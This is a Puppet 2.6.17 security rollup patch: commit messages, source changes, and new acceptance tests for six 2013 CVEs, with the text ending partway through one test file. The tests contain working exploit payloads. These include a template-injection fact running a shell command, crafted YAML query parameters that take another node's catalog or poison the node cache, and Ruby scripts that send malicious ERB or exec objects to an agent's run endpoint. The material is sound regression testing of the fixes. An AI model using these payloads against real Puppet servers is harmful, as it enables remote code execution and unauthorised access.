File puppet-2.6.17-CVE-Rollup.patch of Package puppet

From 53e6d945268e0bf3d7c8d90edb4e2dc445b14a59 Mon Sep 17 00:00:00 2001
From: Andrew Parker <andy@puppetlabs.com>
Date: Sun, 24 Feb 2013 21:50:26 -0800
Subject: [PATCH] 2.6.17 - Rollup of commits for CVE-2013-1640, CVE-2013-1652,
 CVE-2013-1653, CVE-2013-1654, CVE-2013-1655, CVE-2013-2274

(#14093) Remove unsafe attributes from TemplateWrapper

The attribute accessor for the :string attribute in the TemplateWrapper
conflicted with a variable being in scope that is named string. The
variable would take precedence and because of the way the
TemplateWrapper accessed the value of the attribute, the variable's
value would be used as the template.

This changes the TemplateWrapper to completely remove :string as an
attribute and only use local variables. This also removes the :file
attribute in favor of a "private"-style naming of the instance variable.
There are no collisions with @__file__ that would cause problems, but
this should reduce the likelihood of them happening in the first place.

This commit is modified from the original version to exclude changes to
the specs that were not related to issue #14903, due to the scope code
being so different in 2.6.x than 3.x.

(#14093) Restore access to the filename in the template

The change to fix certain variables interfering with template evaluation
also removed the accessor method for file. It appears that this is a
mechanism that had been used by others for identifying the name of the
template being evaluated so that they can trace back from a file on a
node to the module and template that created it. This restores that
functionality.

(#19151) Reject SSLv2 SSL handshakes and ciphers

Without this patch, SSL connections on older versions of Ruby will
negotiate down to insecure modes of operation, specifically SSLv2.  This
is a problem because SSLv2 needs to be rejected outright to meet
security policies.

This patch addresses the problem by changing the behavior of the
OpenSSL::SSL::SSLContext class.  With this patch applied, all SSLContext
objects will be initialized with a default cipher rule set that always
contains the '!SSLv2' substring.  This has the effect of removing SSLv2
ciphers from the cipher list and prohibiting them from being re-added by
later elements in the cipher spec.

Details regarding how OpenSSL behaves with this cipher string are
available at: http://www.openssl.org/docs/apps/ciphers.html

In order to see which ciphers are enabled for a specific version of the
OpenSSL library, please see the output of the command:

    $ openssl ciphers $CIPHERS

This command will display an ordered list of the ciphers enabled for use
during the SSL handshake.

This change is a monkey patch to MRI Core and will affect all SSL socket
clients and servers.  The options and cipher list may still be
explicitly set by passing an options hash with the :options and :ciphers
keys to the SSLContext#set_params method.

(#19391) (CVE-2013-1652) Disallow use_node compiler parameter for remote requests

Without this it is possible to bypass catalog access restrictions by passing
in a node object for a different host. We also validate that facts provided
match the node requested.

(#19392) (CVE-2013-1653) Validate instances passed to indirector

This adds a general validation method to check that only valid instances can
be passed into the indirector. Since access control is based on the URI but
many operations directly use the serialized instance passed in, it was
possible to bypass restrictions by passing in a custom object. Specifically it
was possible to cause the puppet kick indirection to execute arbitrary code by
passing in an instance of the wrong class. This validates that the instance is
of the correct type and that the name matches the key that was used to
authorize the request.

(#8858) Refactor tests to use real HTTP objects

This is a backport of commit cd4bee82:

Test SSL setup code, not our stubbing of it.

This rewrites the tests to actually test code - previously, almost every
single object involved was a stub.

There shouldn't be any functional changes, other than tests that might
actually fail at some point, falling out of this.

The results are not the most awesome of tests, but they are markedly
better than before we started.

(#8858) Explicitly set SSL peer verification mode.

In Ruby 1.8 the Net::HTTP library defaults to skipping peer verification when
no mode is explicitly set.  Ruby 1.9, on the other hand, does not: it defaults
to verification of the peer certificate - leading to failure when we depended
on the default value in our HTTP setup.

This changes to explicitly set the verification mode, ensuring we get
consistent results across all Ruby versions.

Signed-off-by: Daniel Pittman <daniel@puppetlabs.com>

This is modified from the original patch to not check the store in the
case of an HTTPS setup without all certificates.

(#19391) Backport Request#remote? method

Commit ccf2e4c relies on the Request#remote? method, which only exists
in 2.7, added in commit fe1f4a20.

This commit backports the change and specs.

(#19531) (CVE-2013-2275) Only allow report save from the node matching the certname

Without this patch applied any authenticated client is able to save a
report for any node by default.  This is a problem because the
compliance feature of Puppet Enterprise expects reports to be submitted
only from the node the report is associated with.

This patch addresses the problem by restricting the access control rules
in a similar manner to the catalog.  With this patch applied, the
default behavior of the Puppet master will only allow reports to be
saved when the node name matches the cert name.

Acceptance tests for CVEs 2013 (1640, 1652, 1653, 1654, 2274, 2275)

(#14093) (CVE-2013-1640) Facts override template scope variables
(#19391) (CVE-2013-1652) Validate improper query parameters
(#19392) (CVE-2013-1653) Puppet kick
(#19151) (CVE-2013-1654) Do not downgrade to SSLv2
(#19393) (CVE-2013-1655) Add acceptance test for safe YAML de-serialization
(#19456) (CVE-2013-2274) All your terminii belog to us!
(#19531) (CVE-2013-2275) Add acceptance test for report save ACL

Always read request body when using Rack

In certain versions of Passenger (all of them), leaving the request body
unread will cause an EPIPE exception inside Passenger, resulting in a
500 response. This is because Passenger makes a blocking write of the
request body to the application (Puppet). If we respond without reading
the body, this write is interrupted, which isn't handled properly by
Passenger. So when processing requests, we make sure to have always read
at least 1 character, which unblocks the write and lets Passenger
continue.

This issue is not present in other HTTP handlers.

https://code.google.com/p/phusion-passenger/issues/detail?id=471

Paired-With: Josh Cooper <josh@puppetlabs.com>

Fix order-dependent test failure in rest_authconfig_spec

This test was assuming the RestAuthConfig singleton hadn't been created.
A previous test does create one, so this test was failing. Now, we make
sure the singleton instance is nil before testing.

(#19392) (CVE-2013-1653) Validate indirection model in save handler

In puppet 2.6 we need to validate the model before calling save, since it is
called directly on the instance.

(#19392) (CVE-2013-1653) Fix acceptance test to catch unvalidated model on 2.6

This modifies the acceptance test for model validation to catch the issue
fixed in the previous commit. By making the request key match the exec
resource type and title the resource can be executed remotely.

Separate tests for same CVEs into separate files

fail tests instead of erroring when we know its a failure

Run openssl from windows when trying to downgrade master

The test assumed the `agents` array always contained a non-Windows host,
which isn't always true. It also didn't take into account that the path
for cert, key, etc contain spaces.

Remove unnecessary rubygems require

Previously, the test was failing on our rhel6 box which serves as the
master for Windows acceptance tests due rubygems not being
installed. Since we don't actually need rubygems to load openssl, it's
safe to remove that line from the rogue sslserver script.

Don't assume puppetbindir is defined

The host variable `puppetbindir` is undefined on FOSS windows (unlike
Unix), so this test was failing on Windows when trying to execute
`/ruby`. This is really a bug in the harness as the eventlog
acceptance test open-codes this logic as well.

This commit changes it to fallback to `ruby`. It also simplifies the
logic for detecting whether an agent supports SSLv2.

Display SSL messages so we can match our regex

On rhel6, `openssl s_client` doesn't display the SSL messages that we
are trying to match, e.g. SERVER-HELLO. The `-msg` option must be used
for them to be displayed.

Don't require openssl client to return 0 on failure

Previously, the test assumed openssl s_client would return 0 when the
master rejected the SSLv2 connection, which is a bit odd.

This commit ignores the exit code when determining if the passed passed
or failed, and instead requires that a CLIENT-HELLO message be present,
and a SERVER-HELLO message is absent.

Don't assume master supports SSLv2

Previously, the test tried to create an SSLv2 rogue master, and then
check each agent's suitability (as to whether it's ruby supports SSLv2).
But this fails on precise, as its ruby does not support SSLv2.
Specifically the call to ssl_version = 'SSLv2' raises an exception.

Since there is nothing special about the master, we just need to run a
ruby process, this commit moves the rogue ssl server to the agent
itself, and only those agents where SSLv2 is available.

Since the agent may also be a master, it changes the rogue server's
accept port from 8140 to 8150.
---
 .../tests/security/cve-2013-1640_facter_string.rb  |  13 +
 .../cve-2013-1652_improper_query_params.rb         |  38 +++
 .../cve-2013-1652_poison_other_node_cache.rb       |  40 +++
 .../tests/security/cve-2013-1653_puppet_kick.rb    | 109 +++++++
 .../cve-2013-1654_sslv2_downgrade_agent.rb         |  93 ++++++
 .../cve-2013-1654_sslv2_downgrade_master.rb        |  32 ++
 .../cve-2013-1655_safe_yaml_deserialization.rb     |  42 +++
 ...13-2274_all_your_agent_terminii_belong_to_us.rb | 104 ++++++
 ...3-2274_all_your_master_terminii_belong_to_us.rb |  79 +++++
 .../tests/security/cve-2013-2275_report_acl.rb     |  30 ++
 conf/auth.conf                                     |   6 +-
 lib/puppet/indirector/catalog/compiler.rb          |  15 +-
 lib/puppet/indirector/errors.rb                    |   5 +
 lib/puppet/indirector/file_bucket_file/file.rb     |   4 +
 lib/puppet/indirector/file_bucket_file/selector.rb |   4 +
 lib/puppet/indirector/indirection.rb               |   1 +
 lib/puppet/indirector/request.rb                   |   4 +
 lib/puppet/indirector/resource/ral.rb              |   4 +
 lib/puppet/indirector/resource/validator.rb        |   8 +
 lib/puppet/indirector/rest.rb                      |   4 +
 lib/puppet/indirector/run/local.rb                 |   4 +
 lib/puppet/indirector/terminus.rb                  |  20 ++
 lib/puppet/network/http/handler.rb                 |   9 +
 lib/puppet/network/http/rack/rest.rb               |   9 +-
 lib/puppet/network/http/webrick.rb                 |   1 +
 lib/puppet/network/http_pool.rb                    |  25 +-
 lib/puppet/network/rest_authconfig.rb              |   2 +-
 lib/puppet/parser/templatewrapper.rb               |  25 +-
 lib/puppet/util/monkey_patches.rb                  |  43 +++
 .../indirector/bucket_file/rest_spec.rb            |   2 +-
 .../indirector/catalog/compiler_spec.rb            |   1 +
 spec/integration/indirector/catalog/queue_spec.rb  |   2 +-
 .../indirector/certificate_request/rest_spec.rb    |   2 +-
 spec/integration/indirector/report/rest_spec.rb    |   2 +-
 spec/integration/resource/catalog_spec.rb          |   1 +
 spec/unit/indirector/catalog/compiler_spec.rb      |  33 +-
 spec/unit/indirector/indirection_spec.rb           |  19 +-
 spec/unit/indirector/request_spec.rb               |  22 ++
 spec/unit/indirector/terminus_spec.rb              | 360 +++++++++++----------
 spec/unit/network/http/handler_spec.rb             |   1 +
 spec/unit/network/http/rack/rest_spec.rb           |  17 +
 spec/unit/network/http/webrick_spec.rb             |   4 +
 spec/unit/network/http_pool_spec.rb                | 173 +++++-----
 spec/unit/network/rest_authconfig_spec.rb          |  19 +-
 spec/unit/parser/functions/inline_template_spec.rb |  15 +-
 spec/unit/parser/functions/template_spec.rb        |  19 +-
 spec/unit/parser/templatewrapper_spec.rb           |  33 +-
 spec/unit/util/monkey_patches_spec.rb              |  12 +-
 48 files changed, 1205 insertions(+), 305 deletions(-)
 create mode 100644 acceptance/tests/security/cve-2013-1640_facter_string.rb
 create mode 100644 acceptance/tests/security/cve-2013-1652_improper_query_params.rb
 create mode 100644 acceptance/tests/security/cve-2013-1652_poison_other_node_cache.rb
 create mode 100644 acceptance/tests/security/cve-2013-1653_puppet_kick.rb
 create mode 100644 acceptance/tests/security/cve-2013-1654_sslv2_downgrade_agent.rb
 create mode 100644 acceptance/tests/security/cve-2013-1654_sslv2_downgrade_master.rb
 create mode 100644 acceptance/tests/security/cve-2013-1655_safe_yaml_deserialization.rb
 create mode 100644 acceptance/tests/security/cve-2013-2274_all_your_agent_terminii_belong_to_us.rb
 create mode 100644 acceptance/tests/security/cve-2013-2274_all_your_master_terminii_belong_to_us.rb
 create mode 100644 acceptance/tests/security/cve-2013-2275_report_acl.rb
 create mode 100644 lib/puppet/indirector/errors.rb
 create mode 100644 lib/puppet/indirector/resource/validator.rb
 mode change 100644 => 100755 spec/unit/util/monkey_patches_spec.rb

diff --git a/acceptance/tests/security/cve-2013-1640_facter_string.rb b/acceptance/tests/security/cve-2013-1640_facter_string.rb
new file mode 100644
index 0000000..997c38a
--- /dev/null
+++ b/acceptance/tests/security/cve-2013-1640_facter_string.rb
@@ -0,0 +1,13 @@
+# Setting a custom fact to "string" will overwrite a local variable during
+# template compilation on the master allowing remote code execution by
+# any authenticated client.
+test_name "CVE 2013-1640 Remote Code Execution" do
+
+  on agents, %q[ FACTER_string="<%= %x{ /bin/echo hax0rd }  %>" ] +
+             %q[ puppet apply -e ] +
+             %q[ 'notice(inline_template("<%= \"I am Safe\" %>"))' ] do |test|
+
+    assert_match /I am Safe/, test.stdout
+    assert_no_match /hax0rd/, test.stdout
+  end
+end
diff --git a/acceptance/tests/security/cve-2013-1652_improper_query_params.rb b/acceptance/tests/security/cve-2013-1652_improper_query_params.rb
new file mode 100644
index 0000000..c502817
--- /dev/null
+++ b/acceptance/tests/security/cve-2013-1652_improper_query_params.rb
@@ -0,0 +1,38 @@
+require 'json'
+
+test_name "CVE 2013-1652 Improper query parameter validation" do
+
+  with_master_running_on( master, '--autosign true' ) do
+    # Ensure each agent has a signed cert
+    on agents, puppet_agent( '-t' )
+
+    agents.each do |agent|
+      next if agent['roles'].include?( 'master' )
+
+      certname = on(agent, puppet_agent("--configprint certname")).stdout.chomp
+
+      payload = "https://#{master}:8140/production/catalog/#{certname}?use_node=" +
+                "---%20!ruby/object:Puppet::Node%0A%20%20" +
+                "name:%20#{master}%0A%20%20classes:%20\[\]%0A%20%20" +
+                "parameters:%20%7B%7D%0A%20%20facts:%20%7B%7D"
+
+      cert_path = on(agent, puppet_agent("--configprint hostcert")).stdout.chomp
+      key_path = on(agent, puppet_agent("--configprint hostprivkey")).stdout.chomp
+      curl_base = "curl -g --cert #{cert_path} --key #{key_path} -k -H 'Accept: pson'"
+
+      curl_call =  "#{curl_base} '#{payload}'"
+
+      step "Attempt to retrieve another nodes catalog" do
+        on agent, curl_call do |test|
+          begin
+            res = JSON.parse( test.stdout )
+            fail_test( "Retrieved catalog for #{master} from #{agent}" ) if
+              res['data']['name'] == master.name
+          rescue JSON::ParserError
+            # good, continue
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/acceptance/tests/security/cve-2013-1652_poison_other_node_cache.rb b/acceptance/tests/security/cve-2013-1652_poison_other_node_cache.rb
new file mode 100644
index 0000000..8667fb1
--- /dev/null
+++ b/acceptance/tests/security/cve-2013-1652_poison_other_node_cache.rb
@@ -0,0 +1,40 @@
+test_name "CVE 2013-1652 Poison node cache" do
+
+  step "Determine suitability of the test" do
+    versions = on( hosts, puppet( '--version' ))
+    skip_test( "This test will only run on Puppet 3.x" ) if
+      versions.any? {|r| r.stdout =~ /\A2\./ }
+  end
+
+  with_master_running_on( master, "--autosign true" ) do
+    # Ensure each agent has a signed cert
+    on agents, puppet_agent( '-t' )
+
+    agents.each do |agent|
+      next if agent['roles'].include?( 'master' )
+
+      certname = on(agent, puppet_agent("--configprint certname")).stdout.chomp
+      cert_path = on(agent, puppet_agent("--configprint hostcert")).stdout.chomp
+      key_path = on(agent, puppet_agent("--configprint hostprivkey")).stdout.chomp
+
+      curl_base = "curl -g --cert #{cert_path} --key #{key_path} -k -H 'Accept: pson'"
+
+      step "Attempt to poison the master's node cache" do
+        yamldir = on( master, puppet_master( '--configprint yamldir' )).stdout.chomp
+        exploited = "#{yamldir}/node/you.lose.yaml"
+        on master, "rm -rf #{exploited}"
+        on master, "rm -rf #{yamldir}/node/*"
+        payload2 = "https://#{master}:8140/production/node/#{certname}?instance=" +
+                   "---+%21ruby%2Fobject%3APuppet%3A%3ANode%0A+classes" +
+                   "%3A%0A+-+foo%0A+name%3A+you.lose%0A+parameters" +
+                   "%3A+%7B%7D%0A+time%3A+2013-02-28+15%3A12%3A30.367008+-08%3A00"
+
+        on agent, "#{curl_base} '#{payload2}'"
+
+        fail_test( "Found exploit file #{exploited}" ) if
+          on( master, "[ ! -f #{exploited} ]",
+             :acceptable_exit_codes => [0,1] ).exit_code == 1
+      end
+    end
+  end
+end
diff --git a/acceptance/tests/security/cve-2013-1653_puppet_kick.rb b/acceptance/tests/security/cve-2013-1653_puppet_kick.rb
new file mode 100644
index 0000000..0ede979
--- /dev/null
+++ b/acceptance/tests/security/cve-2013-1653_puppet_kick.rb
@@ -0,0 +1,109 @@
+test_name "CVE 2013-1653: Puppet Kick Remote Code Exploit" do
+
+  step "Determine suitability of the test" do
+    confine :except, :platform => 'windows'
+
+    versions = on( hosts, puppet( '--version' ))
+    skip_test( "This test will not run on Puppet 2.6" ) if
+      versions.any? {|r| r.stdout =~ /\A2\.6\./ }
+  end
+
+  with_master_running_on( master, '--autosign true' ) do
+    on agents, puppet_agent( '-t' )
+  end
+
+  def exploit_code( exploiter, exploitee, endpoint, port, file_to_create )
+
+    certfile = on( exploiter, puppet_agent( '--configprint hostcert' )).stdout.chomp
+    keyfile = on( exploiter, puppet_agent( '--configprint hostprivkey' )).stdout.chomp
+
+    exploit = %Q[#!/usr/bin/env ruby
+      require 'puppet'
+      require 'openssl'
+      require 'net/https'
+
+      yaml = <<EOM
+--- !ruby/object:ERB
+ safe_level:
+ src: |-
+   #coding:US-ASCII
+   _erbout = ''; _erbout.concat(( File.open( '#{file_to_create}', 'w') ).to_s)
+ filename:
+EOM
+
+      headers = {'Content-Type' => 'text/yaml', 'Accept' => 'yaml'}
+      conn = Net::HTTP.new('#{exploitee}', #{port})
+      conn.use_ssl = true
+      conn.cert = OpenSSL::X509::Certificate.new(File.read('#{certfile}'))
+      conn.key = OpenSSL::PKey::RSA.new(File.read('#{keyfile}'))
+      conn.verify_mode = OpenSSL::SSL::VERIFY_NONE
+
+      conn.request_put("/production/#{endpoint}/#{exploiter}", yaml, headers) do |response|
+       response.read_body do |chunk|
+         puts chunk
+       end
+      end ]
+
+    return exploit
+  end
+
+  exploited = '/tmp/cve-2013-1653-has-worked'
+  restauth_conf = %q[
+path /run
+auth yes
+allow *
+]
+
+  teardown do
+    agents.each do |agent|
+      pidfile = on( agent, puppet_agent("--configprint pidfile") ).stdout.chomp
+      on agent, "[ -f #{pidfile} ] && kill `cat #{pidfile}` || true"
+      on agent, "rm -rf #{exploited}"
+    end
+  end
+
+  agents.each do |agent|
+    atestdir = agent.tmpdir('puppet-kick-auth')
+    mtestdir = master.tmpdir('puppet-kick-auth')
+
+    step "Daemonize the agent" do
+      # Lay down a tempory auth.conf that will allow the agent to be kicked
+      create_remote_file(agent, "#{atestdir}/auth.conf", restauth_conf)
+
+      # Start the agent
+      on(agent, puppet_agent("--debug --daemonize --server #{master} --listen --no-client --rest_authconfig #{atestdir}/auth.conf"))
+
+      step "Wait for agent to start listening" do
+        timeout = 15
+        begin
+          Timeout.timeout(timeout) do
+            loop do
+              # 7 is "Could not connect to host", which will happen before it's running
+              result = on(agent, "curl -k https://#{agent}:8139", :acceptable_exit_codes => [0,7])
+              break if result.exit_code == 0
+              sleep 1
+            end
+          end
+        rescue Timeout::Error
+          fail_test "Puppet agent #{agent} failed to start after #{timeout} seconds"
+        end
+      end
+    end
+
+    step "Attempt to exploit #{agent}" do
+      # Ensure there's no stale data
+      on agent, "rm -rf #{exploited}"
+      on master, "rm -rf #{mtestdir}/exploit.rb"
+
+      # Copy over our exploit and execute
+      create_remote_file( master, "#{mtestdir}/exploit.rb", exploit_code( master, agent, 'run', 8139, exploited ))
+      on master, "chmod +x #{mtestdir}/exploit.rb"
+      on master, "#{mtestdir}/exploit.rb"
+
+      # Did it work?
+      fail_test( "Found exploit file #{exploited}" ) if
+        on( agent, "[ ! -f #{exploited} ]",
+           :acceptable_exit_codes => [0,1] ).exit_code == 1
+    end
+  end
+end
diff --git a/acceptance/tests/security/cve-2013-1654_sslv2_downgrade_agent.rb b/acceptance/tests/security/cve-2013-1654_sslv2_downgrade_agent.rb
new file mode 100644
index 0000000..51a02ee
--- /dev/null
+++ b/acceptance/tests/security/cve-2013-1654_sslv2_downgrade_agent.rb
@@ -0,0 +1,93 @@
+test_name "CVE 2013-1654 SSL2 Downgrade of Agent connection" do
+
+  def which_ruby(host)
+    host['puppetbindir'] ? "#{host['puppetbindir']}/ruby" : 'ruby'
+  end
+
+  def suitable?(host)
+    cmd = <<END
+#{which_ruby(host)} -ropenssl -e "puts OpenSSL::SSL::SSLContext::METHODS.include?(:SSLv2)"
+END
+    on(host, cmd).stdout.chomp == "true"
+  end
+
+  with_master_running_on( master, '--autosign true' ) do
+    on agents, puppet_agent( '-t' )
+  end
+
+  agents.each do |agent|
+    if suitable?( agent )
+      certfile = on(agent, puppet_agent("--configprint hostcert")).stdout.chomp
+      keyfile = on(agent, puppet_agent("--configprint hostprivkey")).stdout.chomp
+      cafile = on(agent, puppet_agent("--configprint localcacert")).stdout.chomp
+      port = 8150
+
+      sslserver = <<END
+#!/usr/bin/env ruby
+require 'webrick'
+require 'webrick/https'
+
+class Servlet < WEBrick::HTTPServlet::AbstractServlet
+  def do_GET(request, response)
+    response.status = 200
+    response['Content-Type'] = 'text/pson'
+    response.body = 'FOOBAR'
+  end
+end
+
+class SSLServer
+  def run
+    config = {}
+    config[:Port] = #{port}
+    config[:SSLCACertificateFile] = '#{cafile}'
+    config[:SSLCertificate] =  OpenSSL::X509::Certificate.new(File.read('#{certfile}'))
+    config[:SSLPrivateKey] = OpenSSL::PKey::RSA.new(File.read('#{keyfile}'))
+    config[:SSLStartImmediately] = true
+    config[:SSLEnable] = true
+    config[:SSLVerifyClient] = OpenSSL::SSL::VERIFY_NONE
+
+    server = WEBrick::HTTPServer.new(config)
+    server.mount('/', Servlet)
+    server.ssl_context.ssl_version = 'SSLv2'
+    trap :TERM do
+      exit!(0)
+    end
+    server.start
+  end
+end
+
+if $0 == __FILE__
+  SSLServer.new.run
+end
+END
+      testdir = agent.tmpdir('puppet-sslv2')
+      teardown do
+        on(agent, "ps -ef | grep -E 'sslserver.rb' | grep -v grep | awk '{ print $2 }' | xargs kill || echo \"ruby sslserver.rb not running\"")
+        on(agent, "rm -rf #{testdir}")
+      end
+
+      create_remote_file(agent, "#{testdir}/sslserver.rb", sslserver)
+      on agent, "#{which_ruby(agent)} #{testdir}/sslserver.rb &>/dev/null &"
+
+      timeout = 15
+      begin
+        Timeout.timeout(timeout) do
+          loop do
+            # 7 is "Could not connect to host", which will happen before it's running
+            result = on(agent, "curl -m1 -k https://#{agent}:#{port}", :acceptable_exit_codes => [0,7,35])
+            break if result.exit_code == 0 or result.exit_code == 35
+            sleep 1
+          end
+        end
+      rescue Timeout::Error
+        fail_test "Insecure Mock Server on #{agent} failed to start after #{timeout} seconds"
+      end
+
+      on(agent, puppet("agent --debug --test --server #{agent} --masterport #{port}"), :acceptable_exit_codes => [1]) do |test|
+        assert_no_match(/'FOOBAR'/, test.stdout)
+      end
+    else
+      logger.debug( "skipping #{agent} since SSLv2 is not available" )
+    end
+  end
+end
diff --git a/acceptance/tests/security/cve-2013-1654_sslv2_downgrade_master.rb b/acceptance/tests/security/cve-2013-1654_sslv2_downgrade_master.rb
new file mode 100644
index 0000000..38141bc
--- /dev/null
+++ b/acceptance/tests/security/cve-2013-1654_sslv2_downgrade_master.rb
@@ -0,0 +1,32 @@
+test_name "CVE 2013-1654 SSL2 Downgrade of Master connection" do
+
+  def suitable?(host)
+    ruby = host['puppetbindir'] ? "#{host['puppetbindir']}/ruby" : 'ruby'
+    cmd = <<END
+#{ruby} -ropenssl -e "puts OpenSSL::SSL::SSLContext::METHODS.include?(:SSLv2)"
+END
+    on(host, cmd).stdout.chomp == "true"
+  end
+
+  if suitable?( master )
+    with_master_running_on( master, '--autosign true' ) do
+
+      agent = agents.first
+      on agent, puppet_agent( '-t' )
+
+      certfile = on(agent, puppet_agent("--configprint hostcert")).stdout.chomp
+      keyfile = on(agent, puppet_agent("--configprint hostprivkey")).stdout.chomp
+      cafile = on(agent, puppet_agent("--configprint localcacert")).stdout.chomp
+
+      openssl_call = "openssl s_client -connect #{master}:8140 " +
+                     "-cert \"#{certfile}\" -key \"#{keyfile}\" -CAfile \"#{cafile}\" -ssl2 -msg < /dev/null"
+
+      on(agent, openssl_call, :acceptable_exit_codes => (0..255)) do |test|
+        assert_match /CLIENT-HELLO/, test.stdout
+        assert_no_match /SERVER-HELLO/, test.stdout
+      end
+    end
+  else
+    logger.debug( "Not testing master as SSLv2 isn't available to it" )
+  end
+end
diff --git a/acceptance/tests/security/cve-2013-1655_safe_yaml_deserialization.rb b/acceptance/tests/security/cve-2013-1655_safe_yaml_deserialization.rb
new file mode 100644
index 0000000..d128123
--- /dev/null
+++ b/acceptance/tests/security/cve-2013-1655_safe_yaml_deserialization.rb
@@ -0,0 +1,42 @@
+test_name "#19393: Safe YAML deserialization"
+step "Verify Puppet safely deserializes YAML encoded objects"
+
+# Check if the master is running with a Psych YAML engine.  If not, don't test.
+check_for_psych_cmd = "ruby -ryaml -e 'exit (defined?(YAML::ENGINE) and YAML::ENGINE.yamler == \"psych\") ? 3 : 7'"
+
+master_uses_psych = 'unknown'
+on master, check_for_psych_cmd, :acceptable_exit_codes => [3,7] do |result|
+  case result.exit_code
+  when 3
+    master_uses_psych = true
+  when 7
+    master_uses_psych = false
+  else
+    raise "Could not determine if the system under test uses the YAML Psych engine."
+  end
+end
+
+if master_uses_psych
+  with_master_running_on(master) do
+    unsafe_data = "--- !ruby/hash:Array {}"
+
+    cmd = [
+      "curl -k -X PUT",
+      "--cacert \"$(puppet master --configprint cacert)\"",
+      "--cert \"$(puppet master --configprint hostcert)\"",
+      "--key \"$(puppet master --configprint hostprivkey)\"",
+      "-H 'Content-Type: text/yaml'",
+      "-d '#{unsafe_data}'",
+      "\"https://#{master}:8140/production/report/$(puppet master --configprint certname)\""
+    ].join(" ")
+
+    on master, cmd, :acceptable_exit_codes => [0] do
+      msg = "(#19393) (CVE-2013-1655) Puppet master accepted illegal YAML, " +
+        "expected rejection with message 'Illegal YAML mapping found ... " +
+        "please use ... instead'"
+      assert_match(/Illegal YAML mapping found/, stdout, msg)
+    end
+  end
+else
+  skip_test "Cannot validate CVE-2013-1655 unless the master is running with the Psych YAML engine"
+end
diff --git a/acceptance/tests/security/cve-2013-2274_all_your_agent_terminii_belong_to_us.rb b/acceptance/tests/security/cve-2013-2274_all_your_agent_terminii_belong_to_us.rb
new file mode 100644
index 0000000..fbfb1ae
--- /dev/null
+++ b/acceptance/tests/security/cve-2013-2274_all_your_agent_terminii_belong_to_us.rb
@@ -0,0 +1,104 @@
+test_name "CVE 2013-2274 Agent terminii" do
+
+  step "Determine suitability of the test" do
+    confine :except, :platform => 'windows'
+
+    versions = on( hosts, puppet( '--version' ))
+    skip_test( "This test will only run on Puppet 2.6" ) unless
+      versions.any? {|r| r.stdout =~ /\A2\.6\./ }
+  end
+
+  with_master_running_on( master, '--autosign true' ) do
+    on agents, puppet_agent( '-t' )
+  end
+
+  def exploit_code( exploiter, exploitee, endpoint, port, file_to_create, key=nil )
+
+    certfile = on( exploiter, puppet_agent( '--configprint hostcert' )).stdout.chomp
+    keyfile = on( exploiter, puppet_agent( '--configprint hostprivkey' )).stdout.chomp
+    certname = on( exploiter, puppet_agent( '--configprint certname' )).stdout.chomp
+
+    exploit = %Q[#!/usr/bin/env ruby
+      require 'puppet'
+      require 'openssl'
+      require 'net/https'
+
+      exec = Puppet::Type.type(:exec).new(:name => 'touch #{file_to_create}', :logoutput => true, :path => '/bin')
+      yaml = exec.to_resource.to_yaml
+
+      headers = {'Content-Type' => 'text/yaml', 'Accept' => 'yaml'}
+      conn = Net::HTTP.new('#{exploitee}', #{port})
+      conn.use_ssl = true
+      conn.cert = OpenSSL::X509::Certificate.new(File.read('#{certfile}'))
+      conn.key = OpenSSL::PKey::RSA.new(File.read('#{keyfile}'))
+      conn.verify_mode = OpenSSL::SSL::VERIFY_NONE
+
+      conn.request_put("/production/#{endpoint}/#{key || certname}", yaml, headers) do |response|
+       response.read_body do |chunk|
+         puts chunk
+       end
+      end ]
+
+    return exploit
+  end
+
+  exploited = '/tmp/cve-2013-2274-has-worked'
+  restauth_conf = %q[
+path /run
+auth yes
+allow *
+]
+
+  teardown do
+    agents.each do |agent|
+      pidfile = on( agent, puppet_agent("--configprint pidfile") ).stdout.chomp
+      on agent, "[ -f #{pidfile} ] && kill `cat #{pidfile}` || true"
+      on agent, "rm -rf #{exploited}"
+    end
+  end
+
+  agents.each do |agent|
+    atestdir = agent.tmpdir('puppet-kick-auth')
+    mtestdir = master.tmpdir('puppet-kick-auth')
+
+    step "Daemonize the agent" do
+      # Lay down a tempory auth.conf that will allow the agent to be kicked
+      create_remote_file(agent, "#{atestdir}/auth.conf", restauth_conf)
+
+      # Start the agent
+      on(agent, puppet_agent("--debug --daemonize --server #{master} --listen --no-client --rest_authconfig #{atestdir}/auth.conf"))
+
+      step "Wait for agent to start listening" do
+        timeout = 15
+        begin
+          Timeout.timeout(timeout) do
+            loop do
+              # 7 is "Could not connect to host", which will happen before it's running
+              result = on(agent, "curl -k https://#{agent}:8139", :acceptable_exit_codes => [0,7])
+              break if result.exit_code == 0
+              sleep 1
+            end
+          end
+        rescue Timeout::Error
+          fail_test "Puppet agent #{agent} failed to start after #{timeout} seconds"
+        end
+      end
+    end
+
+    step "Attempt to exploit #{agent}" do
+      # Ensure there's no stale data
+      on agent, "rm -rf #{exploited}"
+      on master, "rm -rf #{mtestdir}/exploit.rb"
+
+      # Copy over our exploit and execute
+      create_remote_file( master, "#{mtestdir}/exploit.rb", exploit_code( master, agent, 'run', 8139, exploited, "exec/touch%20/tmp/cve-2013-2274-has-worked"))
+      on master, "chmod +x #{mtestdir}/exploit.rb"
+      on master, "#{mtestdir}/exploit.rb"
+
+      # Did it work?
+      fail_test( "Found exploit file #{exploited}" ) if
+        on( agent, "[ ! -f #{exploited} ]",
+           :acceptable_exit_codes => [0,1] ).exit_code == 1
+    end
+  end
+end
diff --git a/acceptance/tests/security/cve-2013-2274_all_your_master_terminii_belong_to_us.rb b/acceptance/tests/security/cve-2013-2274_all_your_master_terminii_belong_to_us.rb
new file mode 100644
index 0000000..fa45f7b
--- /dev/null
+++ b/acceptance/tests/security/cve-2013-2274_all_your_master_terminii_belong_to_us.rb
@@ -0,0 +1,79 @@
+test_name "CVE 2013-2274" do
+
+  step "Determine suitability of the test" do
+    confine :except, :platform => 'windows'
+
+    versions = on( hosts, puppet( '--version' ))
+    skip_test( "This test will only run on Puppet 2.6" ) unless
+      versions.any? {|r| r.stdout =~ /\A2\.6\./ }
+  end
+
+
+  def exploit_code( exploiter, exploitee, endpoint, port, file_to_create, key=nil )
+
+    certfile = on( exploiter, puppet_agent( '--configprint hostcert' )).stdout.chomp
+    keyfile = on( exploiter, puppet_agent( '--configprint hostprivkey' )).stdout.chomp
+    certname = on( exploiter, puppet_agent( '--configprint certname' )).stdout.chomp
+
+    exploit = %Q[#!/usr/bin/env ruby
+      require 'puppet'
+      require 'openssl'
+      require 'net/https'
+
+      exec = Puppet::Type.type(:exec).new(:name => 'touch #{file_to_create}', :logoutput => true, :path => '/bin')
